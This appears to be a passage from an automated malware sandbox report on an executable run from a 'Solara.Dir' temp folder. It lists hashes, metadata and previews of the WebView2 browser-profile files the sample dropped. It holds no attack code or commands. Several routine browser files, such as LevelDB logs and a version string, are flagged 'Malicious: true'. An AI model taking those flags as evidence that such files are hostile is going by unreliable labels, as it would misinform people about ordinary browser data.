Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	405
Entropy (8bit):	5.273283223714454
Encrypted:	false
SSDEEP:	12:2kfdEsDzV5rhHJLukdc+vBEsDzV5rhHh2FUv:VdNDzfVpLHNBNDzfVBS2
MD5:	FF707A4A708ACAB9AA0023B61445A250
SHA1:	99AC818A571B7D854AD2CECCCCC8BACCE6DD9B0B
SHA-256:	5D631A0605605E86CDDCE4B6D1E2794A4447E7DEB05528D345070C7DC4F7561D
SHA-512:	62728505E55336F1D81F0126281F793C38DFC3EB98F40CCD155AD8CB5068EA731C63CC4A0C2F97EF63371D3DFE73A74274025AFBF6BCB8386680E970B8594C88
Malicious:	true
Preview:	2024/06/29-10:30:27.311 21dc Creating DB C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Site Characteristics Database since it was missing..2024/06/29-10:30:27.460 21dc Reusing MANIFEST C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Site Characteristics Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Site Characteristics Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Sync Data\LevelDB\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Sync Data\LevelDB\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.019797536844534
Encrypted:	false
SSDEEP:	3:sLollttz6sjlGXU2tkn:qolXtWswXU2tkn
MD5:	90881C9C26F29FCA29815A08BA858544
SHA1:	06FEE974987B91D82C2839A4BB12991FA99E1BDD
SHA-256:	A2CA52E34B6138624AC2DD20349CDE28482143B837DB40A7F0FBDA023077C26A
SHA-512:	15F7F8197B4FC46C4C5C2570FB1F6DD73CB125F9EE53DFA67F5A0D944543C5347BDAB5CCE95E91DD6C948C9023E23C7F9D76CFF990E623178C92F8D49150A625
Malicious:	false
Preview:	...n'................_mts_schema_descriptor...

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Sync Data\LevelDB\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	381
Entropy (8bit):	5.367232132330692
Encrypted:	false
SSDEEP:	6:2fsXSg1CHhJ23f3csDHISQ+V5gx2KLlIfsXIxq2PCHhJ23f3csDHISQ+V5WIFUv:2kBEsDzV5gVLukYxvBEsDzV5PFUv
MD5:	FF486AE75764ED611DE18266872C652F
SHA1:	0B997D4744DF512010C5AEDF2D1C85653F3DC20D
SHA-256:	8740A09D0FE181B0F7557003B4358B884952D3048EBD0525707F44BDA203BB68
SHA-512:	3D673C9FD18DD672CCA771A4071BF81A174514339B60A38D1FC56138499FBFAEC2C1FEF2D67B0C7327FB1D0FE56AAC950AE5D3643CE596821C479115507A8CF5
Malicious:	true
Preview:	2024/06/29-10:30:27.510 21b0 Creating DB C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Sync Data\LevelDB since it was missing..2024/06/29-10:30:27.534 21b0 Reusing MANIFEST C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Sync Data\LevelDB/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Sync Data\LevelDB\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Visited Links

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.002110589502647469
Encrypted:	false
SSDEEP:	3:ImtVZdpVYtl:IiVjpVI
MD5:	0A0307830530EE1FF50ECDD665902620
SHA1:	311E58A29F955C489066C64A2A8D63A6A6A7A524
SHA-256:	1EAAA509A223F76310F0AC5F68C8F7B8A95CB626D3A47833BB6EB2CF4D11E74D
SHA-512:	F43AC952DA42F70F80D21B602F4FC8A5DE9FC83E511CD48E282BE572F0896A01C12EDDF1E39406D0EF63F3D8D2EB5D1339A65B2FF1EFBD24E252BDA64D563E5A
Malicious:	true
Preview:	VLnk.....?.......="....}................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 87, cookie 0x36, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	178176
Entropy (8bit):	0.9328712687751187
Encrypted:	false
SSDEEP:	192:R2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+c:R2qOB1nxCkvSAELyKOMq+c
MD5:	6B2D5ED0A90C99FD05D58FE8E924C886
SHA1:	34E1103E18E57E9D1769C89DFB2DAD84BFDD54B5
SHA-256:	2873E973AB5B91CD07405FD5D35E2A843A408AD53696372BEC794F4582368E49
SHA-512:	08373748A19C0381866090CB60929A4642BB624AF777240CB63B918180CEEE0C80DFAD852830FC6821AD6266DF1A865940A90D2089621F612617C5E92A4B29B2
Malicious:	true
Preview:	SQLite format 3......@ .......W...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\fce6f3be-fa0e-43d7-b79a-8ee9ca3ec707.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5396
Entropy (8bit):	4.75096894017149
Encrypted:	false
SSDEEP:	96:stdf/vF0s13ACa8zmdY1h6Cb7/x+6MhmuecmAe3lIMR7K:stdnvF0sqCakYYvbV+FiAIdhK
MD5:	8DFA1E38A7B9B13555155EAD58544781
SHA1:	440300F3A028613589D9CAB3158CE076271A5561
SHA-256:	D3E79D1664C85D23A5EC98C19F1E5E2121811D95CEE44064D7CF618886301010
SHA-512:	D771C83C47553CF986EBC8EA3B3CEBF68F873A7D89B253DDF58A14FFEE11C3858B1ED13E49C0DFA125A56A0172A13978B9F200A19C36A0A661B49078E681DF20
Malicious:	true
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13364145028053968","alternate_error_pages":{"backup":true,"enabled":false},"autofill":{"autostuff_enabled":false,"credit_card_enabled":false,"custom_data_enabled":false,"custom_data_fill_enabled":false,"custom_data_identify_info_from_form_enabled":false,"custom_data_save_enabled":false},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"browser_content_container_height":984,"browser_content_container_width":1066,"browser_content_container_x":0,"browser_content_container_y":0,"countryid_at_install":17224,"credentials_enable_service":false,"dips_timer_last_update":"13364145027468905","dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\shared_proto_db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\shared_proto_db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	377
Entropy (8bit):	5.3683750086689885
Encrypted:	false
SSDEEP:	6:2fsX4v6mQEq1CHhJ23f3csDHISQ+V54rl2KLlIfsXC7q2PCHhJ23f3csDHISQ+Vc:2kIvNRGEsDzV5qLuk0vBEsDzV553FUv
MD5:	026F5C742C5AE75BCC4A6BFE13098277
SHA1:	18FFBD2EF17009A1DD9237099F1354EB1BCD99DB
SHA-256:	4301A7DF9CFF26CC7407E23CB5D7270C216E533188E13CB4F32F0353039BEE52
SHA-512:	182FCDAAF72926419CDDA2A9E36CDD01BA24DF69A1FF8A92F1EBBD59E5F89AA75670A709159A9E8B16588FD652543B2561754509F7999E2CD87A1A965222D26B
Malicious:	true
Preview:	2024/06/29-10:30:28.300 2160 Creating DB C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\shared_proto_db since it was missing..2024/06/29-10:30:28.331 2160 Reusing MANIFEST C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\shared_proto_db/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\shared_proto_db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\shared_proto_db\metadata\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	184
Entropy (8bit):	3.6995049215784723
Encrypted:	false
SSDEEP:	3:G0XttkJcsRwI9tkJcscml9t3moiOlfmEaHTltfmoI///fmEbn:G0Xtqcsqc9Ct3mxKm9HTl1mL//3m8
MD5:	D0D92D2ACC26306AEC6E8D67FD89BB1D
SHA1:	98C9F038C1C81881F5EB5E103530458845BCEEA9
SHA-256:	3B6E086A61E5DA0B64E80F593E648BD49FE77CE072098065399BE2B4F4F46840
SHA-512:	5464728663F1F62E9DBD7DF26D92FE7CC41B6BFDEE9021CEE5ED230B9F3114ACFF54768E5206B283382CBFF6999B07DF9283ED3DA50E04631729D22DD8E4CB5D
Malicious:	true
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................21_.....n[.=.................33_.....vuNX.................21_.....

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\shared_proto_db\metadata\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	395
Entropy (8bit):	5.328273940858651
Encrypted:	false
SSDEEP:	6:2fsXpH+q1CHhJ23f3csDHISQ+V54rzs52KLlIfsXe6+q2PCHhJ23f3csDHISQ+V9:2k5/EsDzV559LukWvBEsDzV5uFUv
MD5:	B4280BC31134DF40B9E992477429D067
SHA1:	02DF6E14B60FD428D1B523FFA9B34B4E62C7ACAD
SHA-256:	5B0A11FC3F59AEFA0956D294A3E38E9C10D645626921B898D3515A197BBEE47B
SHA-512:	ECFB923A3A6A247EBFDB200D971C5444D0A9A581968AAF341F6CE19E0E200CFDC0025D612ECA78A3D49D99AD2E1EC79E3EA72F80321D2526116114FEC85D53D6
Malicious:	true
Preview:	2024/06/29-10:30:28.091 21a8 Creating DB C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\shared_proto_db\metadata since it was missing..2024/06/29-10:30:28.107 21a8 Reusing MANIFEST C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\shared_proto_db\metadata/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\shared_proto_db\metadata\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	true
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	951
Entropy (8bit):	5.730747575616275
Encrypted:	false
SSDEEP:	24:YKWJu5rrtY1ZncmcDjDBBoaeCTWOxW/bvX3JQQRCYfYg:Yqf6Zncm4jDBBoZUxWTvneB0
MD5:	2EFF55AAF65912D80B67E548A8294A3F
SHA1:	3B9455071806F53BF6B6E0669AFBF53ED1BE3A89
SHA-256:	8614F80820D275D37462F7AC970CAC6720D9C7E56533C9145D31DE2AC6E53CEC
SHA-512:	8D3DABE5FD49A7ECD96DDE2B9CD535990CC967A13828DA3CCF3C752932804BBCC3178A3C1826CF347399708CD08A682FE10755B938160C7DD6B6AFEB1710BC1C
Malicious:	true
Preview:	{"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABNzcqLavsTR7+5t8HFE0TdEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAC8QMPOksqKixKokWq+QZ/A7aFUPyifq/5Xy1YdHP5rZgAAAAAOgAAAAAIAACAAAACQBuQCyjLnzW3jud0mIgDzKKT24mLQ6qpd8HfrxLH1zzAAAABH0C8ypVdVL6duCgYinmDg633r2n+uYVbJ3qfUiKAsfyx7LPlAabNvodZg5U2MAy9AAAAAJeGoK22tqJaE0rxW0xCv30vMd/hQe1xHbpNxUR2ubxgD1HMYLuqf96k/dSJLliz+X2W45wnWmiuvttcgu/u7xA=="},"uninstall_metrics":{"installation_date2":"1719671426"},"user_experience_metrics":{"client_id2":"{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}C:\\Users\\user0s:92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A","diagnostics":{"last_data_collection_level_on_launch":1},"low_entropy_source3":2938,"pseudo_low_entropy_source":6950,"reset_client_id_deterministic":true,"stability":{"browser_last_live_timestamp":"13364145026848556","stats_buildtime":"1695934310","stats_version":"117.0.2045.47-64","system_crash_count":0}}}

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Local State~RF4dafd1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	951
Entropy (8bit):	5.730747575616275
Encrypted:	false
SSDEEP:	24:YKWJu5rrtY1ZncmcDjDBBoaeCTWOxW/bvX3JQQRCYfYg:Yqf6Zncm4jDBBoZUxWTvneB0
MD5:	2EFF55AAF65912D80B67E548A8294A3F
SHA1:	3B9455071806F53BF6B6E0669AFBF53ED1BE3A89
SHA-256:	8614F80820D275D37462F7AC970CAC6720D9C7E56533C9145D31DE2AC6E53CEC
SHA-512:	8D3DABE5FD49A7ECD96DDE2B9CD535990CC967A13828DA3CCF3C752932804BBCC3178A3C1826CF347399708CD08A682FE10755B938160C7DD6B6AFEB1710BC1C
Malicious:	true
Preview:	{"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABNzcqLavsTR7+5t8HFE0TdEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAC8QMPOksqKixKokWq+QZ/A7aFUPyifq/5Xy1YdHP5rZgAAAAAOgAAAAAIAACAAAACQBuQCyjLnzW3jud0mIgDzKKT24mLQ6qpd8HfrxLH1zzAAAABH0C8ypVdVL6duCgYinmDg633r2n+uYVbJ3qfUiKAsfyx7LPlAabNvodZg5U2MAy9AAAAAJeGoK22tqJaE0rxW0xCv30vMd/hQe1xHbpNxUR2ubxgD1HMYLuqf96k/dSJLliz+X2W45wnWmiuvttcgu/u7xA=="},"uninstall_metrics":{"installation_date2":"1719671426"},"user_experience_metrics":{"client_id2":"{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}C:\\Users\\user0s:92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A","diagnostics":{"last_data_collection_level_on_launch":1},"low_entropy_source3":2938,"pseudo_low_entropy_source":6950,"reset_client_id_deterministic":true,"stability":{"browser_last_live_timestamp":"13364145026848556","stats_buildtime":"1695934310","stats_version":"117.0.2045.47-64","system_crash_count":0}}}

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Local State~RF4db02f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	951
Entropy (8bit):	5.730747575616275
Encrypted:	false
SSDEEP:	24:YKWJu5rrtY1ZncmcDjDBBoaeCTWOxW/bvX3JQQRCYfYg:Yqf6Zncm4jDBBoZUxWTvneB0
MD5:	2EFF55AAF65912D80B67E548A8294A3F
SHA1:	3B9455071806F53BF6B6E0669AFBF53ED1BE3A89
SHA-256:	8614F80820D275D37462F7AC970CAC6720D9C7E56533C9145D31DE2AC6E53CEC
SHA-512:	8D3DABE5FD49A7ECD96DDE2B9CD535990CC967A13828DA3CCF3C752932804BBCC3178A3C1826CF347399708CD08A682FE10755B938160C7DD6B6AFEB1710BC1C
Malicious:	true
Preview:	{"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABNzcqLavsTR7+5t8HFE0TdEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAC8QMPOksqKixKokWq+QZ/A7aFUPyifq/5Xy1YdHP5rZgAAAAAOgAAAAAIAACAAAACQBuQCyjLnzW3jud0mIgDzKKT24mLQ6qpd8HfrxLH1zzAAAABH0C8ypVdVL6duCgYinmDg633r2n+uYVbJ3qfUiKAsfyx7LPlAabNvodZg5U2MAy9AAAAAJeGoK22tqJaE0rxW0xCv30vMd/hQe1xHbpNxUR2ubxgD1HMYLuqf96k/dSJLliz+X2W45wnWmiuvttcgu/u7xA=="},"uninstall_metrics":{"installation_date2":"1719671426"},"user_experience_metrics":{"client_id2":"{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}C:\\Users\\user0s:92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A","diagnostics":{"last_data_collection_level_on_launch":1},"low_entropy_source3":2938,"pseudo_low_entropy_source":6950,"reset_client_id_deterministic":true,"stability":{"browser_last_live_timestamp":"13364145026848556","stats_buildtime":"16959343